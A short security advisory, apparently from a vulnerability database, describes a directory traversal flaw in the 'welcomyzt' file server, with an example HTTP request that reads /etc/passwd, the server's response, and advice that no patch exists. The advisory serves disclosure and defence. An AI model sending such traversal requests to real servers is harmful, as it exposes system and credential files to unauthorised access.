Severity: high

Directory Traversal

welcomyzt

Overview

welcomyzt is a simple file server.

welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example Request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Remediation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Have content suggestions? Send them to [email protected]

Advisory timeline

  1. published

    Advisory published
    Sep 26th, 2017
  2. reported

    Initial report by Liang Gong
    Jun 29th, 2017